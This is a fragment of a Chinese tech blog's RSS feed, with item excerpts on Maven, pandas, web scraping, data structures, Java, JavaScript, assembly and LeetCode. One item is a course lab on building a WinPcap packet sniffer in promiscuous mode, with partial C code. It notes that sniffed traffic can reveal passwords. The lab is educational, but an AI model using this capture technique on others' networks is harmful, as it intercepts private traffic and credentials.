&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.akka&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;akkatest2&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;scala.version&amp;gt;2.11.8&amp;lt;/scala.version&amp;gt; &amp;lt;scala.compat.version&amp;gt;2.11&amp;lt;/scala.compat.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.scala-lang&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;scala-library&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${scala.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.typesafe.akka&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;akka-actor_2.11&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.14&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.typesafe.akka&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;akka-remote_2.11&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.14&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;build&amp;gt; &amp;lt;sourceDirectory&amp;gt;src/main/scala&amp;lt;/sourceDirectory&amp;gt; &amp;lt;testSourceDirectory&amp;gt;src/test/scala&amp;lt;/testSourceDirectory&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;net.</description>
    </item>
    <item>
      <title>网络嗅探器设计实验</title>
      <link>https://bchobby.github.io/posts/75b2053f1d18cf38a5ec62134bfb24fe/</link>
      <pubDate>Thu, 25 Jun 2020 00:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75b2053f1d18cf38a5ec62134bfb24fe/</guid>
      <description>一、实验环境： （1）Windows 10 系统平台；&#xA;（2）在VS环境下进行C++编程。&#xA;二、课程目的： （1）参照有关书籍，掌握有关网络通信基本原理；&#xA;（2）学习网络嗅探器的概念及其工作原理；&#xA;（3）掌握嗅探器的程序设计。&#xA;三、基本原理： 网络嗅探器又称为网络监听器，简称为Sniffer子系统，放置于网络节点处，对网络中的数据帧进行捕获的一种被动监听手段，是一种常用的收集有用数据的方法，这些数据可以是用户的账号和密码，可以是一些商用机密数据等等。Sniffer是利用计算机的网络接口截获目的地为其他计算机的数据报文的一种工具。Sniffer的正当用处主要是分析网络的流量，以便找出所关心的网络中潜在的问题。嗅探器可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。计算机直接所传送的数据，事实上是大量的二进制数据。因此一个网络窃听程序必须也使用特定的网络协议来分解嗅探到的数据，嗅探器也就必须能够识别出那个协议对应于这个数据片断，只有这样才能够进行正确的解码。很多计算机网络采用的是“共享媒体&#34;，几乎可以在任何连接着的网络上直接窃听到你同一掩码范围内的计算机网络数据，我们称这种窃听方式为“基于混杂模式的嗅探”。尽管如此，这种“共享”的技术发展的很快，慢慢转向“交换”技术，这种技术会长期内会继续使用下去，它可以实现有目的选择的收发数据。在网络嗅探技术中所使用的包捕获机制的方法，大致可归纳为两类：一类是由操作系统内核提供的捕获机制；另一类是由应用软件或系统开发包通过安装包捕获驱动程序提供的捕获机制，该机制主要用于Win32平台下的开发。操作系统提供的捕获机制主要有四种：BPF，DLPI，NIT, Sock Packet类型套接口。BPF由基于BSD的Unix系统内核所实现；DLPI是Solaris(和其它System V Unix)系统的内嵌子系统。从性能上看，Sock Packet最弱。Windows操作系统没有提供内置的包捕获机制。它只提供了数量很少并且功能有限的API调用。WinPcap是Win32上的第一个用来捕获数据包的开放系统软件包，它是一种新提出的强有力并且可扩展的框架结构。以太网的数据传输是基于“共享”原理的，所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计算机直接的通讯都是透明可见的。正是因为这样的原因，以太网卡都构造了硬件的“过滤器”这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了与自身MAC地址不符合的信息。嗅探程序正是利用了这个特点，它主动的关闭了这个嗅探器，也就是前面提到的设置网卡“混杂模式”。因此，嗅探程序就能够接收到整个以太网内的网络数据信息。 四、方法概述： 嗅探器实质就是从网络上获取数据包的一种工具，它可以捕捉流经本地网卡的所有数据包。抓取网络数据包进行分析有很多用处，如分析网络是否有网络病毒等异常数据，通信协议的分析（数据链路层协议、TCP、IP、UDP，甚至各种应用层协议），敏感数据的捕捉等。&#xA;程序在执行过程中有两个核心算法设计，一是调用Winpcap函数库实现下层抓包，二是对抓到的包文进行分析。对于抓包算法过程的实现：&#xA;（1）初始化Winpcap开发库；&#xA;（2）获取当前的网卡列表，同时要求用户指定要操作的网卡；&#xA;（3）获得当前的过滤规则；&#xA;（4）调用库函数pcap_loop()，同时指定其回调函数，即为数据包分析过程。本实验需要电脑上已经安装过winpcap，最主要的部分是数据包的解析与信息的获取。首先是配置使用pcap.h这个库，只需要在链接上加入wpcap.lib等几个相关联的动态库即可，其中拥有着功能更加强大的函数，现列举几个本嗅探器设计中所使用的函数于下：pcap_findalldevs_ex()函数用于获取当前主机的设备列表，使用者可以根据该函数给出的设备列表选定需要进行嗅探的设备究竟是哪一个，例如是以太网口还是无线网卡之类的设备。最后使用pcap_freealldevs()清空即可，否则会一直占用影响下次使用。pcap_open()函数则是另一个较为关键的函数，它主要用于打开与连接设备器，后面跟随的参数分别为：设备名 ；要捕捉的数据包的部分，往往用65535保证能捕获到不同数据链路层上的每个数据包的全部内容 ；‘PCAP_OPENFLAG_PROMISCUOUS’用作将其置于混杂模式 ； 读取超时时间 ；远程机器验证(NULL) ；错误缓冲池这几个参数，这也是确保嗅探器开始正确嗅探的一步。当嗅探器正确收集到数据包的时候则需要对数据包进行进一步的解析，以IP结构头为例，iphVerLen就代表了IP头中版本号和头长度（各占4位）的信息，ipSource与ipDestination则是我们所关心的源地址与目标地址信息，通过对获取到的数据包的结构体中这些信息的解析与输出，例如ip_hd-&amp;gt;ipDestination便提取出了投中的目标地址，完成到了基本的嗅探操作，同时也可以获得数据包以数据或ASCII码等多种形式予以输出。Winpcap提供了pcap_findalldevs_ex()函数，这个函数返回一个指向pcap_if结构的链表，其中的每一项都包含了一个己经绑定的适配器的全部信息。取得网卡列表后就在屏幕上显示出来，如果网卡没有被发现就显示有关错误。pcap_ findalldevs()同其他的libpcap函数一样有一个errbuf参数，当有异常情况发生时，这个参数会被pcap填充为某个特定错误字串。随后，获得网卡的信息后就可以按数据捕获的要求打开网卡，打开网卡的功能是通过pcap_open_live()来实现的。在正常情况下网卡只接受去往它的包而去往其他主机的数据包则被忽略，相反当网卡处于混杂模式时它将接收所有的流经它的数据包。之后，使用pcap_next_ex()从网络接口中读取一个数据包，该函数第一个参数是接口句柄，后两个参数由函数返回，分别为数据包的相关信息和数据包本身。函数返回1表示正常接收一个数据包，每捕获到一个数据包就调用PacketHandler()函数对数据包进行后续解析处理。之后对捕获的数据包按照数据链路层、网络层、传输层和应用层的层次结构自底向上进行解析，最后将解析结果显示输出。 五、实验设计流程： 六、实验结果： 该实验使用了pcap.h这个库文件，实现了更加强大的监听功能，不仅能对TCP进行监听，亦可以对网络中流传的UDP协议通讯进行监听。运行程序后，首先检测2号网卡是否打开，经过监听一段时间发现并没有任何回应，即可说明该网卡端口并没有连接，详见下图：&#xA;随后输入网卡号3，同时输出获取的报文，且不对其输出长度做任何限制。这次成功监听到端口信息，详见下图：&#xA;七、代码： #define HAVE_REMOTE #define LINE_LEN 16 #include &#34;winsock.h&#34; #include &amp;lt;string.h&amp;gt; #include &#34;pcap.h&#34; /// typedef struct ip_address { //ip地址 u_char b1; u_char b2; u_char b3; u_char b4; } ip_address; typedef struct mac_address {//mac地址 u_char b1; u_char b2; u_char b3; u_char b4; u_char b5; u_char b6; } mac_address; typedef struct ethe_header { //mac帧首部 mac_address mac_dest_address; mac_address mac_source_address; u_short ether_type; } ethe_header; typedef struct ip_header { //ip地址首部 u_char ver_ihl; u_char tos; u_short tlen; u_short identification; u_short flags_fo; u_char ttl; u_char proto; u_short crc; ip_address saddr; ip_address daddr; u_int op_pad; } ip_header; typedef struct udp_header { //UPD首部 u_short sport; u_short dport; u_short len; u_short crc; } udp_header; typedef struct tcp_header { //TCP首部 u_short sport; u_short dport; u_int num; u_int ack; u_short sum; u_short windonw; u_short crc; u_short ugr; } tcp_header; void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char *pkt_data); char judge; int length; int main() { pcap_if_t * alldevs, *device; int i = 0; int iNum; u_int netmask; struct bpf_program fcode; pcap_t * adhandle; char errbuf[PCAP_ERRBUF_SIZE]; //修改这里可以更改捕获的数据包使用的协议类型 char packet_filter[] = &#34;</description>
    </item>
    <item>
      <title>【Python问题】解决python的pandas使用to_excel()函数出现问题</title>
      <link>https://bchobby.github.io/posts/392a579382a6b2b31f66f8ad822bad9e/</link>
      <pubDate>Wed, 24 Jun 2020 23:27:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/392a579382a6b2b31f66f8ad822bad9e/</guid>
      <description>问题描述 使用to_excel()函数报错为：got invalid value of type &amp;lt;class ‘xml.etree.ElementTree.Element’&amp;gt;, expected string or Element&#xA;原始代码 import pandas as pd test = pd.read_excel(&#39;原始数据.xlsx&#39;) print(test) data.to_excel(&#34;修改后数据.xlsx&#34;,index=False) 问题解决 在cmd终端或者pycharm的terminal终端执行安装openpyxl 3.0.0 版本&#xA;pip install openpyxl==3.0.0 -i https://pypi.douban.com/simple 原来的版本为3.0.2，可能是出现了bug。</description>
    </item>
    <item>
      <title>使用requests爬取豆瓣电影</title>
      <link>https://bchobby.github.io/posts/b122d2125e2fd16136fdb4c9576c7e16/</link>
      <pubDate>Wed, 24 Jun 2020 21:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b122d2125e2fd16136fdb4c9576c7e16/</guid>
      <description>使用requests爬取豆瓣电影 一、分析 豆瓣电影信息https://movie.douban.com/explore#!type=movie&amp;amp;tag=%E7%83%AD%E9%97%A8&amp;amp;sort=recommend&amp;amp;page_limit=20&amp;amp;page_start=0&#xA;我们根据首页信信息获取链接&#xA;然后，点击进入二级链接&#xA;到了这个页面，我们就可以看到我们需要的信息了&#xA;接着，我们回到上个网页，查看一下我们需要爬取多少电影信息，可是当我们点击加载更多的时候，页面没有跳转，网页url也也有刷新，但是新的信息又出来了，根据经验，应该采用了异步刷新技术&#xA;通过我们对网页的分析，最终我获取的了数据加载的接口了，然后点进去，可以发现，这就是我们想要的数据。&#xA;然后我们通过对url的分析&#xA;https://movie.douban.com/j/search_subjects?type=movie&amp;amp;tag=热门&amp;amp;sort=recommend&amp;amp;page_limit=20&amp;amp;page_start=0 page_limit=20 决定请求信息的数量page_start=0 决定请求的位置&#xA;更重要的是这里的数据都是json格式的数据，我们就可以省去页面解析的步骤了&#xA;二、写代码 1.导入对应的python库&#xA;from lxml import etree#用于对网页的数据解析 import requests#网页请求 import json#数据储存 2.构建一个网页请求方法&#xA;def requests_get(url): #伪装头部 headers ={ &#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) &#34; &#34;AppleWebKit/537.36 (KHTML, like Gecko) &#34; &#34;Chrome/54.0.2840.99 Safari/537.36&#34; } #进行请求 r = requests.get(url,headers=headers) #进行编码设置 r.encoding = &#39;utf-8&#39; #返回获取信息 return r 3.创建一个解析网页信息并返回电影链接&#xA;def get_mv_listurl(html): #初始化一个电影链接的列表 mvlist = [] #由于信息是一种json的字符串 jsondata = json.loads(html.text)[&#39;subjects&#39;] for data in jsondata: mvlist.</description>
    </item>
    <item>
      <title>数据结构（C语言） 抽象数据类型Triplet的表示和实现</title>
      <link>https://bchobby.github.io/posts/5cd1c585ad8864a79158c2e3bb23fa9f/</link>
      <pubDate>Tue, 23 Jun 2020 23:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cd1c585ad8864a79158c2e3bb23fa9f/</guid>
      <description>抽象数据类型 抽象数据类型（abstract data type，ADT）是指一个数学模型以及定义在该模型上的一组操作，取决于其逻辑特性。可通过固有数据类型来表示和实现，利用处理器中已存在的数据类型来说明新的结构，用已经实现的操作来组合新的操作。&#xA;采用动态分配的顺序存储结构 typedef ElemType* Triplet;&#x9;//由InitTriplet分配3个元素存储空间 基本操作的函数原型说明 //----基本操作的函数原型说明---- Status InitTriplet(Triplet&amp;amp; T, ElemType v1, ElemType v2, ElemType v3); //操作结果：构造了三元组T，元素e1,e2和e3分别被赋以参数v1,v2和v3的值。 Status DestroyTriplet(Triplet&amp;amp; T); //操作结果：三元组T被销毁。 Status Get(Triplet T, int i, ElemType&amp;amp; e); //初始条件：三元组T已存在，1&amp;lt;=i&amp;lt;=3。 //操作结果：用e返回T的i元的值 Status Put(Triplet&amp;amp; T, int i, ElemType e); //初始条件：三元组T已存在，1&amp;lt;=i&amp;lt;=3。 //操作结果：改变T的第i元的值为e。 Status IsAscending(Triplet T); //初始条件：三元组T已存在。 //操作结果：如果T的3个元素按升序排列，则返回1，否则返回0。 Status IsDescending(Triplet T); //初始条件：三元组T已存在。 //操作结果：如果T的3个元素按降序排列，则返回1，否则返回0。 Status Max(Triplet T, ElemType&amp;amp; e); //初始条件：三元组T已存在。 //操作结果：用e返回T的三个元素中的最大值。 Status Min(Triplet T, ElemType&amp;amp; e); //初始条件：三元组T已存在。 //操作结果：用e返回T的三个元素中的最小值。 基本操作的实现 Status InitTriplet(Triplet&amp;amp; T, ElemType v1, ElemType v2, ElemType v3) { T = (ElemType*)malloc(3 * sizeof(ElemType)); if (!</description>
    </item>
    <item>
      <title>爬虫之数据提取方法（一、json提取）</title>
      <link>https://bchobby.github.io/posts/6d8721842c79aef5618e9e323aab4844/</link>
      <pubDate>Tue, 23 Jun 2020 14:00:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8721842c79aef5618e9e323aab4844/</guid>
      <description>目录 json的数据提取1 什么是json2 json模块中方法的学习3 jsonpath模块的学习3.1 jsonpath介绍3.2 JsonPath 对于 JSON 来说，相当于 XPath 对于 XML。3.3 JsonPath与XPath语法对比：3.4 语法使用示例3.5 代码示例： json的数据提取 1 什么是json JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式，它使得人们很容易的进行阅读和编写。同时也方便了机器进行解析和生成。适用于进行数据交互的场景，比如网站前台与后台之间的数据交互。&#xA;2 json模块中方法的学习 其中类文件对象的理解：&#xA;具有read()或者write()方法的对象就是类文件对象，比如f = open(“a.txt”,”r”) f就是类文件对象&#xA;具体使用方法：&#xA;#json.dumps 实现python类型转化为json字符串 #indent实现换行和空格 #ensure_ascii=False实现让中文写入的时候保持为中文 json_str = json.dumps(mydict,indent=2,ensure_ascii=False) #json.loads 实现json字符串转化为python的数据类型 my_dict = json.loads(json_str) #json.dump 实现把python类型写入类文件对象 with open(&#34;temp.txt&#34;,&#34;w&#34;) as f: json.dump(mydict,f,ensure_ascii=False,indent=2) # json.load 实现类文件对象中的json字符串转化为python类型 with open(&#34;temp.txt&#34;,&#34;r&#34;) as f: my_dict = json.load(f) 3 jsonpath模块的学习 3.1 jsonpath介绍 用来解析多层嵌套的json数据;JsonPath 是一种信息抽取类库，是从JSON文档中抽取指定信息的工具，提供多种语言实现版本，包括：Javascript, Python， PHP 和 Java。</description>
    </item>
    <item>
      <title>2020阿里云镜像导出至本地过程记录</title>
      <link>https://bchobby.github.io/posts/181164c4ad49bc102834173d98381087/</link>
      <pubDate>Sun, 21 Jun 2020 19:28:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/181164c4ad49bc102834173d98381087/</guid>
      <description>参考文档：https://blog.csdn.net/killfat/article/details/94166915&#xA;参考文档里的那篇是2019的，跟现在的有点不一样，所以就写了这篇&#xA;1.对象存储oss，没有开通的开通下&#xA;2.右侧单击创建Bucket，选择与保存镜像同一地域的Bucket。切记要选择标准存储，并记住Bucket的名字。&#xA;其他选项无特殊需要时默认，点击开通。&#xA;3.工单-提交工单&#xA;4.进入默认提交工单界面，坑的地方来了，一直找不到人工，弄了好久才知道&#xA;输入在线，左边对话框会出现“联系人工”，点进去&#xA;5.产品选择 云服务器ECS&#xA;6.问题分类选择镜像咨询&#xA;7.提交&#xA;8.进入提交的页面&#xA;原因我写的是: 本地留存, 节约快照成本, 方便以后GPU配置&#xA;然后点击提交&#xA;9。在我的工单记录里可以找到这条&#xA;10。售后工程师回复后，回到ECS-实例与镜像-实例-更多-磁盘和镜像-创建自定义镜像&#xA;资源组选择默认的那个，然后创建&#xA;镜像-镜像列表-更多-导出镜像&#xA;官方文档说可以选择镜像格式的，我这里没有，所以默认是RAW格式&#xA;导出镜像文档：https://help.aliyun.com/document_detail/58181.html?spm=5176.10695662.1996646101.searchclickresult.63927cadOUcAeQ&#xA;对象存储oss-Bucket列表-文件管理-更多-下载&#xA;如图，“1”是下载的东西，层层解压得到3，所谓的raw格式镜像&#xA;下面是raw转vmdk的帖子（我用的虚拟机是VM）&#xA;https://blog.csdn.net/xuanwolanxue/article/details/105833091&#xA;最终经过多番查阅，终于发现一个好工具qemu。 它里面有一个qemu-img工具，可以将raw image转换成vmdk，也可以将vmdk转换成raw image，非常方便，如何至宝，现记录入下：&#xA;qemu-img convert usb.img -f raw -O vmdk out.vmdk&#xA;1&#xA;usb.img: qnx BSP包编译生成的raw image文件&#xA;-f raw : 指定要转换的输入文件格式为raw image类型&#xA;-O vmdk : 指定转换输出格式为VMware的虚拟硬盘格式&#xA;打开vm-文件-新建虚拟机，选择自定义，稍后安装操作系统，使用现有虚拟磁盘，吧vmdk选中就行了&#xA;出现问题：&#xA;虚拟机启动不起来，具体原因：no floppy controller found!&#xA;暂时无法解决，记录下</description>
    </item>
    <item>
      <title>解决idea卡顿问题</title>
      <link>https://bchobby.github.io/posts/bef1d8c90fe68aedfbbf530f13739ddc/</link>
      <pubDate>Fri, 19 Jun 2020 16:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bef1d8c90fe68aedfbbf530f13739ddc/</guid>
      <description>前提：idea卡顿有很多方面问题 ，关键是能定为到。&#xA;1.内存不足：&#xA;网上有很多内存配置优化的我这就不说了。说一个小技巧，可以在idea实时看到做大内存和当前内存。&#xA;就可以看到当前idea使用内存多少了。&#xA;2.排查真正卡顿的问题&#xA;2.1.看日志，看idea的日志，mac下idea日志是在 ~/Library/Logs/IntelliJIdea2019.3 下，可以找找，有个文件为idea.log，&#xA;2.2 看idea使用过程中cpu占用高的进程。&#xA;idea导航栏有个Help栏，下面有个监控可以看当前占用cpu最高的进程，这样你复现一下卡顿的场景，就可以在上面看到是哪一个进程导致的卡顿了，然后如果是插件就禁用掉，大部分都是插件问题，别的在百度。</description>
    </item>
    <item>
      <title>List转Map的三种方法</title>
      <link>https://bchobby.github.io/posts/9318866a12967be73c585720bc1c3f44/</link>
      <pubDate>Fri, 19 Jun 2020 15:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9318866a12967be73c585720bc1c3f44/</guid>
      <description>一、&#xA;list转map&#xA;Map&amp;lt;Long, User&amp;gt; maps = userList.stream().collect(Collectors.toMap(User::getId,Function.identity()));&#xA;看来还是使用JDK 1.8方便一些。&#xA;二、&#xA;另外，转换成map的时候，可能出现key一样的情况，如果不指定一个覆盖规则，上面的代码是会报错的。转成map的时候，最好使用下面的方式：&#xA;Map&amp;lt;Long, User&amp;gt; maps = userList.stream().collect(Collectors.toMap(User::getId, Function.identity(), (key1, key2) -&amp;gt; key2));&#xA;三、&#xA;有时候，希望得到的map的值不是对象，而是对象的某个属性，那么可以用下面的方式：&#xA;Map&amp;lt;Long, String&amp;gt; maps = userList.stream().collect(Collectors.toMap(User::getId, User::getAge, (key1, key2) -&amp;gt; key2));&#xA;四、&#xA;//List 以ID分组 Map&amp;lt;Integer,List&amp;gt;&#xA;Map&amp;lt;Integer, List&amp;gt; groupBy = appleList.stream().collect(Collectors.groupingBy(Apple::getId));&#xA;System.err.println(“groupBy:”+groupBy);&#xA;{1=[Apple{id=1, name=‘苹果1’, money=3.25, num=10}, Apple{id=1, name=‘苹果2’, money=1.35, num=20}], 2=[Apple{id=2, name=‘香蕉’, money=2.89, num=30}], 3=[Apple{id=3, name=‘荔枝’, money=9.99, num=40}]}</description>
    </item>
    <item>
      <title>对element中Pagination 分页默认样式的的修改</title>
      <link>https://bchobby.github.io/posts/94628364f557ef2b6d597c63e62df09e/</link>
      <pubDate>Fri, 19 Jun 2020 15:17:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94628364f557ef2b6d597c63e62df09e/</guid>
      <description>对element中Pagination 分页默认样式的的修改 pagination原本样式 pagination原本样式 ## 最后的效果图&#xA;改变pagination的中的附加功能的位置使其分散两边&#xA;原本代码&#xA;&amp;lt;div class=&#34;clearfix&#34;&amp;gt; &amp;lt;el-pagination class=&#34;pagination&#34; background :current-page=&#34;currentPage4&#34; :page-sizes=&#34;[10, 20, 30, 40]&#34; :page-size=&#34;10&#34; layout=&#34;sizes,total,jumper,prev,pager,next&#34; :total=&#34;1000&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; &amp;lt;/div&amp;gt; 我是先使整个分页组件使用text-align让所有的附加组件向右对齐，如下图&#xA;然后再使前三个附加组件向左浮动，以及修改默认附件组件样式&#xA;&amp;lt;style scoped lang=&#34;scss&#34;&amp;gt; .pagination { margin-top: 20px; text-align: right; } /deep/ .pagination .el-pagination__sizes { float: left; } /deep/ .pagination .el-pagination__total { float: left; } /deep/ .pagination .el-pagination__jump { float: left; } &amp;lt;/style&amp;gt; 对element默认样式更改需要在css选择器前加/deep/</description>
    </item>
    <item>
      <title>JS数组与字符串之间相互转换</title>
      <link>https://bchobby.github.io/posts/f66fabb7f9130e098ac95177eab30c3d/</link>
      <pubDate>Thu, 18 Jun 2020 23:08:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f66fabb7f9130e098ac95177eab30c3d/</guid>
      <description>toString() 将数组转换成一个字符串toLocalString() 把数组转换成本地约定的字符串join() 将数组元素连接起来以构建一个字符串 toString()&#xA;数组中 toString() 方法能够把每个元素转换为字符串，然后用逗号连接输出显示。 var a = [1,2,3,4,5,6,7,8,9,0]; var s = a.toString(); //把数组转换为字符串 console.log(s); //返回字符串“1,2,3,4,5,6,7,8,9,0” console.log(typeof s); //返回字符串string，说明是字符串类型 当数组用于字符串环境中时，JS 会自动调用 toString() 方法将数组转换成字符串。在一些情况下，需要明确调用这个方法。&#xA;var a = [1,2,3,4,5,6,7,8,9,0]; var b = [1,2,3,4,5,6,7,8,9,0]; var s = a + b; //数组连接操作 console.log(s); //返回“1,2,3,4,5,6,7,8,9,01,2,3,4,5,6,7,8,9,0” console.log(typeof s); //返回字符串string，说明是字符串类型 toString() 在把数组转换成字符串时，首先要将数组的每个元素都转换为字符串。当每个元素都被转换为字符串时，才使用逗号进行分隔，以列表的形式输出这些字符串。&#xA;数组 a 是一个多维数组，JavaScript 会以迭代的方式调用 toString() 方法把所有数组都转换为字符串。&#xA;var a = [1,[2,3],[4,5]],[6,[7,[8,9],0]]]; var s = a.toString(); //把数组转换为字符串 console.log(S); //返回字符串“1,2,3,4,5,6,7,8,9,0” toLocalString()&#xA;toLocalString() 方法与 toString() 方法用法基本相同，主要区别在于 toLocalString() 方法能够让用户所在地区特定的分隔符把生成的字符串连接起来，形成一个字符串。 var a = [1,2,3,4,5]; var s = a.</description>
    </item>
    <item>
      <title>汇编语言</title>
      <link>https://bchobby.github.io/posts/f4f8f6c4200b64cdf99317780101021e/</link>
      <pubDate>Thu, 18 Jun 2020 22:11:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f8f6c4200b64cdf99317780101021e/</guid>
      <description>《汇编语言》 王爽 基础知识机器语言汇编语言的产生汇编语言的组成存储器指令和数据储存单元CPU对存储器的读写总线地址总线控制总线数据总线 主板接口卡各类存储器芯片内存地址空间 寄存器通用寄存器字在寄存器中的存储8086CPU给出物理地址的方法CS和IP寄存器（内存访问）字单元DS和[address]栈段数据段代码段栈段 第一个程序程序执行过程的跟踪 本文只是自己看书的回忆，不如去看书，讲的更全面和透彻。 每种微处理器的汇编语言都不同，本书以8086CPU为中央处理器的PC机为例 基础知识 机器语言 电子计算机的机器指令是一列二进制数字，计算机将其转变为一列高低电平，使计算机的电子器件受到驱动，进行运算。每种微处理器由于硬件设计和内部结构不同，需要用不同的电平脉冲来控制，所以不同的微处理器其机器指令集不同。&#xA;汇编语言的产生 汇编指令是机器指令便于记忆的书写格式。每种CPU都有自己的汇编指令集。&#xA;例如：&#xA;操作：寄存器BX的内容送到AX&#xA;机器指令：1000100111011000&#xA;汇编指令：mov ax,bx&#xA;程序员用汇编语言写出源程序，汇编编译器将其编译为机器码，由计算机最终执行。&#xA;汇编语言的组成 汇编语言包括3种指令：&#xA;1.汇编指令：机器码的助记符，有对应的机器码；&#xA;2.伪指令：无对应机器码，由编译器执行（告诉编译器怎么翻译），计算机不执行；&#xA;3.其他符号：如+、-、*、/等，无对应机器码，由编译器识别；&#xA;存储器 CPU控制计算机的运作并进行运算，为其提供的指令和数据存放在存储器中。磁盘中的数据或程序必须读到内存中才可以被CPU使用。&#xA;指令和数据 指令和数据是应用上的概念。在内存或磁盘中无任何区别，都是二进制信息，区别只在于CPU在使用时赋予其意义。&#xA;例如：&#xA;1000100111011000 -&amp;gt; 89D8H（数据）&#xA;1000100111011000 -&amp;gt; mov ax,bx（指令）&#xA;储存单元 电子计算机最小信息单位是bit，是一个二进制位。8 bit = 1 Byte（字节）&#xA;微型机存储器的一个存储单元可以存储一个Byte。一个存储器被划分为若干存储单元，从0开始编号，一个存储单元的容量为一个字节。&#xA;1KB=1024B， 1MB=1024KB……&#xA;CPU对存储器的读写 存储单元的编号可看作存储单元在存储器中的地址。&#xA;CPU进行数据的读写，要和外部器件进行一下3类信息的交互：&#xA;1.存储单元的地址；（地址信息）&#xA;2.器件的选择，读或写的命令；（控制信息）&#xA;3.读或写的数据。（数据信息）&#xA;在实际信息交互层面，是通过处理、传输电信号实现的，电信号由总线（专门连接CPU和其他芯片的导线）传送。总线在逻辑上分为地址总线、控制总线和数据总线&#xA;CPU从内存中读取数据：&#xA;CPU通过地址线将地址信息3发出 → CPU通过控制线发出内存读命令，选中存储器芯片，通知它要从中读取数据 → 存储器将3号单元中的数据8通过数据线送入CPU&#xA;写操作类似。&#xA;总线 每一个CPU芯片有许多管脚，这些管脚与总线相连。&#xA;地址总线的宽度决定了CPU的寻址能力；&#xA;控制总线的宽度决定了CPU对系统中其他器件的控制能力；&#xA;数据总线的宽度决定了CPU与其他器件进行数据传送时的一次数据传送量。&#xA;地址总线 CPU有N根地址线，称该CPU的地址总线宽度为N，最多可以寻找 2 N 2^N 2N个内存单元（意味着寻址能力最小单位为B，而不是bit）。N根地址线，对应 2 N B 2^NB 2NB的寻址能力。</description>
    </item>
    <item>
      <title>吴师兄实名吐槽 LeetCode 上的一道题目。。。</title>
      <link>https://bchobby.github.io/posts/60d57a593fb5db152f74a573982bcf37/</link>
      <pubDate>Thu, 18 Jun 2020 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60d57a593fb5db152f74a573982bcf37/</guid>
      <description>点击上方“图解面试算法”，选择“星标”公众号&#xA;重磅干货，第一时间送达&#xA;今天分享的题目来源于 LeetCode 上的剑指 Offer 系列 面试题09. 用两个栈实现队列。&#xA;题目链接：https://leetcode-cn.com/problems/yong-liang-ge-zhan-shi-xian-dui-lie-lcof/&#xA;一、题目描述 用两个栈实现一个队列。队列的声明如下，请实现它的两个函数 appendTail 和 deleteHead ，分别完成在队列尾部插入整数和在队列头部删除整数的功能。(若队列中没有元素，deleteHead 操作返回 -1 )&#xA;示例 1：&#xA;输入： [&#34;CQueue&#34;,&#34;appendTail&#34;,&#34;deleteHead&#34;,&#34;deleteHead&#34;] [[],[3],[],[]] 输出：[null,null,3,-1] 示例 2：&#xA;输入： [&#34;CQueue&#34;,&#34;deleteHead&#34;,&#34;appendTail&#34;,&#34;appendTail&#34;,&#34;deleteHead&#34;,&#34;deleteHead&#34;] [[],[],[5],[2],[],[]] 输出：[null,-1,null,null,5,2] 提示：&#xA;1 &amp;lt;= values &amp;lt;= 10000&#xA;最多会对 appendTail、deleteHead 进行 10000 次调用&#xA;二、题目解析 实名吐槽这道题目的示例描述，我第一次真的没有看懂是啥意思。。。。&#xA;我用大白话来翻译一下 示例 2。&#xA;[&#34;CQueue&#34;,&#34;deleteHead&#34;,&#34;appendTail&#34;,&#34;appendTail&#34;,&#34;deleteHead&#34;,&#34;deleteHead&#34;] 这个表示每一次操作的集合数组 [[],[],[5],[2],[],[]] 这个表示每一次操作后对应的参数的集合数组 1、CQueue 首先初始化，没有参数，所以是 []，然后我们注意到 CQueue() 函数是没有返回值的，用 null 来表示（不要问我为什么用 null 表示。。。）&#xA;2、deleteHead 删除操作，没有参数，所以是 []，根据题意若队列中没有元素，deleteHead 操作返回 -1 ，所以输出值为 -1 。&#xA;3、appendTail 插入操作，有参数，此时是 5，并且 appendTail() 函数没有返回值的，用 null 来表示。</description>
    </item>
